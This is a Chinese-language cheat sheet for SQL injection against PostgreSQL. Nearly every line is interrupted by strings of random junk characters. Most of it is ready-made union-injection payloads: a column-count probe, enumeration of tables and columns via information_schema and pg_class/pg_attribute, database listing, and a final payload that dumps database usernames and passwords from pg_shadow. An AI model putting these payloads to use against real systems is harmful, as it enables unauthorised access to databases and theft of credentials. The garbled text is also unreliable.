结合了MSSQL MySQL Oracle的一些特点
0 c% y. N |% y$ u/ J" s& {支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/( B9 E' _+ C, {# X* `0 p
连接符: %20 , + , /**/ 内置函数:
5 r4 O3 F$ l- a* m% ucurrent_database() //当前数据库名9 S2 ~" E' Q6 Q- m; U9 `
session_user //会话用户
( w0 @. Z. K( x4 wcurrent_user //当前数据库用户
$ [7 I) Y* p* ]1 Kuser //当前用户
7 a- \$ w6 ]( X9 t( Sversion() //数据库版本 Union注射:9 f, x5 z( C' a9 f* C/ p% `
order by n–
. {& |. O7 }' yand 1=2 union select null,null,null–! z! p1 J' v2 V
and 1=2 union select ‘beach’,null,null–- k ?0 i/ N# i; | ^* \
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
7 [4 @# Y4 ?# W) _. a6 cgroup_concat(table_name)
& G* ^8 e8 E& `+ ^and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
* `/ a& ]) L$ e" Tand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–% z: E/ J# s2 e; i3 x7 V# R
(老版本)
" D/ E: N/ t( F& b2 Z) ?pg_class.oid对应pg_attribute.attrelid0 P6 Q; j# H L; R) {9 V
pg_class.relname表名
; n8 x# L& a* O' y: o" mpg_attribute.attname字段名 select relname from pg_class获取表名, N2 h/ B" Y- n
select oid from pg_class where 条件 获取参数2 K8 I0 s$ Z& ?& b: D, B% N" o
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:& z6 ?2 h; F* h6 z# w
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表1 _) C: D1 _; S: J; h0 [/ d& k
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
5 @. q, Y/ `; F n* ?+ p8 I由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
9 m$ l8 L _2 o0 U5 P* C& U6 N; x6 K======================================================================
2 R; e4 W/ x, a5 ]and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库- z* \" a" i* C1 Z" ?7 N) |/ |
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |